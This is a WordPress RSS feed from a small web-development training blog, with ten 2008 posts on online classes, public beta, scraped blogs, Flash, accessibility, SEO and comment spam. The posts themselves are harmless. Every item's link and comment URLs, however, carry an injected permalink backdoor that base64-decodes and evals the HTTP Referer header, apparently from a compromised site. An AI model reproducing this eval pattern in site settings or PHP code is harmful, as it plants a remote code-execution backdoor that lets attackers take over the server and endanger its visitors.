<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Class Blog &#187; Web Development</title>
	<atom:link href="http://webclassblog.com/category/web-dev/feed/" rel="self" type="application/rss+xml" />
	<link>http://webclassblog.com</link>
	<description>MicroWebmaster Training Information</description>
	<lastBuildDate>Sun, 29 Jun 2008 00:59:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Internet Classes – What does THAT Mean?</title>
		<link>http://webclassblog.com/2008/06/25/internet-classes-%e2%80%93-what-does-that-mean/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/06/25/internet-classes-%e2%80%93-what-does-that-mean/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 03:29:59 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/internet-classes-%e2%80%93-what-does-that-mean/</guid>
		<description><![CDATA[So what is an internet class anyway? Think you know? Think again!
An internet class may be any one of the following:

A text course delivered via email.
A text course delivered via website.
A video or audio course delivered via email or website.
A full modular class delivered through a system that also delivers quizzes and issues a grade [...]]]></description>
			<content:encoded><![CDATA[<p>So what is an internet class anyway? Think you know? Think again!</p>
<p>An internet class may be any one of the following:</p>
<ul>
<li>A text course delivered via email.</li>
<li>A text course delivered via website.</li>
<li>A video or audio course delivered via email or website.</li>
<li>A full modular class delivered through a system that also delivers quizzes and issues a grade and certificate of completion.</li>
<li>A class delivered via chat, or video conferencing.</li>
<li>A class hosted by an organization, broadcast through intranet to another location, utilizing specialized equipment.</li>
</ul>
<p>And the options are growing daily!</p>
<p>The thing is though, that when you read that someone offers an &#8220;internet class&#8221; you&#8217;d better find out just what it is, because there are many definitions, and value is different from one to another.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/06/25/internet-classes-%e2%80%93-what-does-that-mean/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is Public Beta?</title>
		<link>http://webclassblog.com/2008/06/17/what-is-public-beta/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/06/17/what-is-public-beta/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 03:48:09 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/what-is-public-beta/</guid>
		<description><![CDATA[Our new networking site, Front Porch Folks, recently went to Public Beta status. So what does that mean?
It is really just a pretentious techie way of saying that a site is good enough to be publicized and tested by lots of people, but not yet ready to be taken seriously as a fully marketable business. [...]]]></description>
			<content:encoded><![CDATA[<p>Our new networking site, <a href="http://www.frontporchfolks.com" target="_blank">Front Porch Folks</a>, recently went to Public Beta status. So what does that mean?</p>
<p>It is really just a pretentious techie way of saying that a site is good enough to be publicized and tested by lots of people, but not yet ready to be taken seriously as a fully marketable business. Big sites do this to get people to the site before they&#8217;ve worked out all the bugs, and to put it through natural stress testing to find the rest of the bugs.</p>
<p>It works too &#8211; on both counts. If you have a fairly complex site that you know you need to have a lot of people visiting before anyone is going to take it seriously, a Public Beta phase can help to get it out there and noticed enough to be a contender. This is especially important for membership sites &#8211; you need members to get members, so you can offer free memberships during Public Beta, then charge when you go to full launch.</p>
<p>You can go to Public Beta as soon as you have enough of value to be worth something, but not quite full value. That value may be, in part, determined by traffic volume. Public Beta can last an indetermined amount of time. It gives you time to get the feel of things, and to see how the site performs under fairly natural settings.</p>
<p>Front Porch Folks is a Networking Community. It has some twists on the normal one though, so it catches people&#8217;s fancy even in its infancy. But we are still doing a Public Beta, until we get 500 members, because value depends partly on the number of members. Membership is free until then, later it will have a low yearly fee &#8211; because we want to keep it affordable for our target market.</p>
<p>Opening the doors to a Public Beta is a good option for a complex site, and provides a sometimes much needed transition between ready for something, and not quite ready for everything!</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/06/17/what-is-public-beta/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Myth of the Splog</title>
		<link>http://webclassblog.com/2008/06/11/the-myth-of-the-splog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/06/11/the-myth-of-the-splog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 12 Jun 2008 01:56:05 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/the-myth-of-the-splog/</guid>
		<description><![CDATA[Shortcuts just don&#8217;t work in the web world. A blog created from automatically scraped material just doesn&#8217;t earn or grow. Sadly, that doesn&#8217;t stop people from doing them.
Worse, many of these people are selling the service of creating a blog for someone else, and just putting together a shoddy scraped blog. Search engines don&#8217;t like [...]]]></description>
			<content:encoded><![CDATA[<p>Shortcuts just don&#8217;t work in the web world. A blog created from automatically scraped material just doesn&#8217;t earn or grow. Sadly, that doesn&#8217;t stop people from doing them.</p>
<p>Worse, many of these people are selling the service of creating a blog for someone else, and just putting together a shoddy scraped blog. Search engines don&#8217;t like them, because they aren&#8217;t original. People don&#8217;t like them either.</p>
<p>Many site owners have no idea that blogging has to be done in a certain way in order to be profitable. When someone promises them a cheap and fast solution, they jump on it, because they think that blogging is easy. And it is, but getting traffic to a business from it ISN&#8217;T easy. It isn&#8217;t cheap if you pay someone else to do it either!</p>
<p>No blog owner of intelligence and morals is going to approve comments that have nothing but a quote of their own scraped content. Why should they? The backlink doesn&#8217;t help them one bit, since search engines will disregard it. The link to the other site from theirs though, is potentially harmful.</p>
<p>So now we have this network out there of scraped blogs &#8211; they exist solely for the purpose of automatically seeking out and reposting bits from legit blogs. Eventually, the only links they&#8217;ll have back are links from other scraped blogs. Everybody frantically auto-scraping and auto-posting and nobody listening.</p>
<p>Pretty much a waste of time&#8230; But then, shortcuts usually are.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/06/11/the-myth-of-the-splog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Latest Toy</title>
		<link>http://webclassblog.com/2008/06/07/the-latest-toy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/06/07/the-latest-toy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 20:12:51 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/the-latest-toy/</guid>
		<description><![CDATA[I&#8217;ve been sickened by designers who have to use Flash for the whole site, or site owners who think they have to have it just because it is there. Using something because it is there is unprofessional, because it may actually impede the goals of the website. The function and purpose of the site comes [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been sickened by designers who have to use Flash for the whole site, or site owners who think they have to have it just because it is there. Using something because it is there is unprofessional, because it may actually impede the goals of the website. The function and purpose of the site comes first, over any desire to use a cool new toy.</p>
<p>I think with each new thing that people can do, they go through a phase of doing it just because they can, and everybody thinking it is neat that they can &#8211; look at the pre-WWII cartoons. Most aren&#8217;t even funny, they have these characters doing stuff on screen just because they can. They didn&#8217;t put much thought into how to really make it entertaining, they could make those characters move, and that was all they tried to do.</p>
<p>So now we have things like Flash, PDFs, Movies, Audio, etc. And all these people out there saying, &#8220;you just GOTTA do this!!!&#8221; without thinking about the purpose of the site, the target of the business, or the needs of the visitor.<br />
After the shiny wears off, people will start thinking more logically about it &#8211; at least, the pros do.</p>
<p>No matter what the new toy, we always should consider whether it will add to the site and to the purpose and function.</p>
<p>There are very few sites that can benefit from Flash headers at this point. And even fewer that can benefit from any other Flash elements which are unfriendly to search engines and the disabled alike.</p>
<p>But there are tons of dynamic features which can benefit a site when they have a need to automate certain features, or break the hourly rate barrier, communicate more efficiently, etc. No feature is right for everybody, and each one has to be weighed carefully, the cost against the benefit. The major problem we see with many so called professionals is that they are recommending the features without mentioning the long term cost, so the site owner gets stung with a site that isn&#8217;t really what they needed.</p>
<p>Select carefully. Each choice has a long term impact.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/06/07/the-latest-toy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ADA Accessability</title>
		<link>http://webclassblog.com/2008/05/26/ada-accessability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/26/ada-accessability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 26 May 2008 13:43:12 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/ada-accessability/</guid>
		<description><![CDATA[The more we add to web pages, the more important it becomes to take simple steps to ensure that those pages can be accessed by virtually anyone. It isn&#8217;t only good business, it presents legal risks if you do not!
ADA Accessibility for the web means basically two types of compensation – making sure visual elements [...]]]></description>
			<content:encoded><![CDATA[<p>The more we add to web pages, the more important it becomes to take simple steps to ensure that those pages can be accessed by virtually anyone. It isn&#8217;t only good business, it presents legal risks if you do not!</p>
<p>ADA Accessibility for the web means basically two types of compensation – making sure visual elements can be understood by those with visual challenges, and ensuring that auditory elements can be understood by those with hearing limitations.</p>
<p>This is done through text. Text is the universal equalizer. It can be read and understood by people, and machines, so those who rely on machines to interpret web pages for them can still access plain text versions of elements.</p>
<p>This is most commonly seen in an image alt-tag. A bit of text that is displayed if the image is not shown. This is absolutely critical if you use image links on your pages, because otherwise, if the images cannot be viewed, your site cannot even be navigated!</p>
<p>There are other basic ways to compensate also – if you have audio on your site that is critical to the function of the site, simply provide a written transcript for access by the hearing impaired. If you have video, provide either an alt-text or a written transcript, whichever is most important.</p>
<p>In addition to ensuring that major elements are understandable, it is also important to pay attention to simple courtesies in your design – good contrast between text and backgrounds, easy to read font sizes, and other friendly tactics.</p>
<p>These simple tactics beat getting into a wrangle with a lawyer who has an agenda, any day!</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/26/ada-accessability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Power of Practice</title>
		<link>http://webclassblog.com/2008/05/14/the-power-of-practice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/14/the-power-of-practice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 May 2008 03:13:42 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Business Startup and Management]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/the-power-of-practice/</guid>
		<description><![CDATA[Hands on learning is the key to learning some of the complex concepts of web development. But practice is the key to making them both efficient, and professional.
This is true of writing, coding, marketing, designing, page layout, and the other skills involved in creating a successful website.
I&#8217;ve noticed this mostly in writing. With practice, you [...]]]></description>
			<content:encoded><![CDATA[<p>Hands on learning is the key to learning some of the complex concepts of web development. But practice is the key to making them both efficient, and professional.</p>
<p>This is true of writing, coding, marketing, designing, page layout, and the other skills involved in creating a successful website.</p>
<p>I&#8217;ve noticed this mostly in writing. With practice, you can become so familiar with the writing process that you can sit down to the blank page, and channel your thoughts directly from your brain, through your fingers and onto the screen. Practice improves typing skills also, so both your writing skills, and the ability to record the thoughts, improve at the same time.</p>
<p>With practice, you begin to conceptualize very complex sites in your mind, in ways that help you build it more efficiently to start. Long term, you can pull many parts into a quick assessment and conceive of an entire project in a way that makes the process far faster.</p>
<p>These are things that I cannot share though &#8211; I mean, I can TELL you this, but some of it you don&#8217;t get until you DO it &#8211; until you see the results of your own practice.</p>
<p>Practice can help with any aspect of building a site &#8211; just doing it, more than once, helps you remember and grow in skill.</p>
<p>We remember what we do. We understand what we do repeatedly.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/14/the-power-of-practice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Changing Rules of SEO</title>
		<link>http://webclassblog.com/2008/05/12/changing-rules-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/12/changing-rules-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 13 May 2008 03:08:00 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/changing-rules-of-seo/</guid>
		<description><![CDATA[SEO is changing rapidly. For most microbusinesses, the largest portion of their search engine traffic comes from Google. And Google is changing the rules really fast. There are complex reasons for this, and some pretty strong implications. It means that businesses cannot rely on being able to get that traffic from Google.
When you choose a [...]]]></description>
			<content:encoded><![CDATA[<p>SEO is changing rapidly. For most microbusinesses, the largest portion of their search engine traffic comes from Google. And Google is changing the rules really fast. There are complex reasons for this, and some pretty strong implications. It means that businesses cannot rely on being able to get that traffic from Google.</p>
<p>When you choose a source of info to learn SEO, make sure they are up-to-date. Because some of the recent changes have changed not just a few strategies, like has happened in the past, but they have created some fundamental shifts in philosophy.</p>
<p>Content is still king &#8211; but site promotion, so that people can FIND that content, is getting trickier.</p>
<p>This summer&#8217;s blogging class will touch on some of these issues, as they relate to blogs. The fall Web Development series will cover it in more depth.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/12/changing-rules-of-seo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hands On Learning</title>
		<link>http://webclassblog.com/2008/05/11/hands-on-learning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/11/hands-on-learning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 11 May 2008 23:34:07 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/hands-on-learning/</guid>
		<description><![CDATA[Some things happen best by doing.
Our daughter was in the third grade. She still could not read at a functional level. We knew this, and we kept complaining to her teacher. Her teacher&#8217;s response was, “Of course she can read. She does great on phonics!”
The teacher never had her read in class. The time spend [...]]]></description>
			<content:encoded><![CDATA[<p>Some things happen best by doing.</p>
<p>Our daughter was in the third grade. She still could not read at a functional level. We knew this, and we kept complaining to her teacher. Her teacher&#8217;s response was, “Of course she can read. She does great on phonics!”</p>
<p>The teacher never had her read in class. The time spend on “reading” in class was spent dissecting reading, and learning ABOUT reading, not DOING it. The teacher had no idea that our daughter could not connect reading and phonics – they had no relation to one another in her mind. We sat her down and began reading with her every night. She became a competent reader within a few months.</p>
<p>Many people are like this. They learn best by doing. So taking a class on how to write HTML won&#8217;t help you build a website. Talking about building a website won&#8217;t help you build a website either. Only doing it helps you see the concepts in action, and to understand some of the abstract issues.</p>
<p>If you want to learn to build a website, or create a blog, or take a few lbs off your photo, you need to DO it. If you come to class with an idea of something you want to DO, then you&#8217;ll be more motivated to learn. If you get to actually build something in class, your learning is better retained. And you discover where the hard parts are, when there is still an instructor in the room to help you over the bumps!</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/11/hands-on-learning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Level 2 Spam Protection</title>
		<link>http://webclassblog.com/2008/05/05/level-2-spam-protection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/05/level-2-spam-protection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 05 May 2008 23:31:17 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/level-2-spam-protection/</guid>
		<description><![CDATA[Moderation of visitor input is the first step in protecting a site against spam. But what happens when that fails?
You must move up to installing something to stop it before it gets to the forms, or to filter input at the form. There are a number of options for this, depending on what the site [...]]]></description>
			<content:encoded><![CDATA[<p>Moderation of visitor input is the first step in protecting a site against spam. But what happens when that fails?</p>
<p>You must move up to installing something to stop it before it gets to the forms, or to filter input at the form. There are a number of options for this, depending on what the site is that you need to protect.</p>
<p>One of our favorites is Bad Behavior http://www.bad-behavior.ioerror.us/ It works by stopping spambots from accessing your site content if they are identified as malicious bots. So far it has worked well on the sites I used it on. There have been minor problems with it, but nothing that I could not solve fairly quickly.</p>
<p>Another popular option is the Captcha option, and the other variants for identifying a person instead of a bot. Those forms that ask you to answer a simple question, or type in some squiggly numbers? That&#8217;s Captcha. And spambots are the reason for it. It isn&#8217;t foolproof, but it works a good percentage of the time.</p>
<p>If you have to move into this realm of protection, look at your options carefully. Remember that IP blocking solutions are almost useless anymore. You want something that works beyond that. Make sure it is well supported also, and updated regularly – or IT can become the source of a problem!</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/05/level-2-spam-protection/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spam Plagues in Dynamic Software</title>
		<link>http://webclassblog.com/2008/05/03/spam-plagues-in-dynamic-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://webclassblog.com/2008/05/03/spam-plagues-in-dynamic-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 03 May 2008 23:30:24 +0000</pubDate>
		<dc:creator>Laura</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://webclassblog.com/web-dev/spam-plagues-in-dynamic-software/</guid>
		<description><![CDATA[If you have a cart, a content management system, a guestbook, a forum, or a blog, you&#8217;ve probably encountered the problem of spam. If you have not, you will, if you ever operate those, or any other dynamic websites.
See, here is what happens when you have a form on your site that allows someone to [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a cart, a content management system, a guestbook, a forum, or a blog, you&#8217;ve probably encountered the problem of spam. If you have not, you will, if you ever operate those, or any other dynamic websites.</p>
<p>See, here is what happens when you have a form on your site that allows someone to register, send information, post a listing, contact you, etc:</p>
<p>1.Malicious bots are programmed to trawl the web, looking for sites with vulnerabilities. They look for any way to take advantage of your site – one may be programmed to spam, another to abuse a form, another to look for more serious security holes. Some do more than one thing.<br />
2.When they find a site with the type of form they are looking for, they try to take advantage of it. If they fail, they move on. If they succeed, it sets up a chain of events.<br />
3.The bot will proceed to exploit whatever opportunity it found. It may be a weak form, a site that does not have moderation turned on, etc.<br />
4.If it succeeds once, then it marks your site as a target. It is important that you understand that these bots only check ONCE for a hole. If they find it, they will exploit it, and they will keep hammering your site even if you DO install some kind of protection later. Once you are found, the damage is done. This means that if you leave your comments unmoderated, and a bot finds it, and starts plaguing you with spam, it will NEVER STOP. Even if you set the comments to moderated. It will still keep sending you stuff that you have to clean out. Some bots can even break through moderated comments to auto-post. And they never go back to check again to see if it is still working, they just hammer away in the background. They can be unbelievably aggressive, and it just wears on you to try to fight them.<br />
5.In order to get them to stop, you have to do one of two things: You can install something to stop them (which doesn&#8217;t really stop them, it just makes it so you can see them anymore), or you can move your site. If you move it where any links still lead to it that lead them there before, or if you move it on the same domain, they&#8217;ll find you again within a few hours, because while bots are not programmed to check to see if posts are going live after that first check, they ARE programmed to look if your page disappears.</p>
<p>The first rule then, is to prevent from the start. That means turn ON comment moderation, or post moderation, or registration approvals. Don&#8217;t EVER allow a site to operate where someone can register without confirming an email address, or where they can post a comment without someone having to approve it before it goes live. If you do, you are asking for someone to come in and take over your site. If you want it to be valuable to you, you have to keep control of what goes on it.</p>
]]></content:encoded>
			<wfw:commentRss>http://webclassblog.com/2008/05/03/spam-plagues-in-dynamic-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
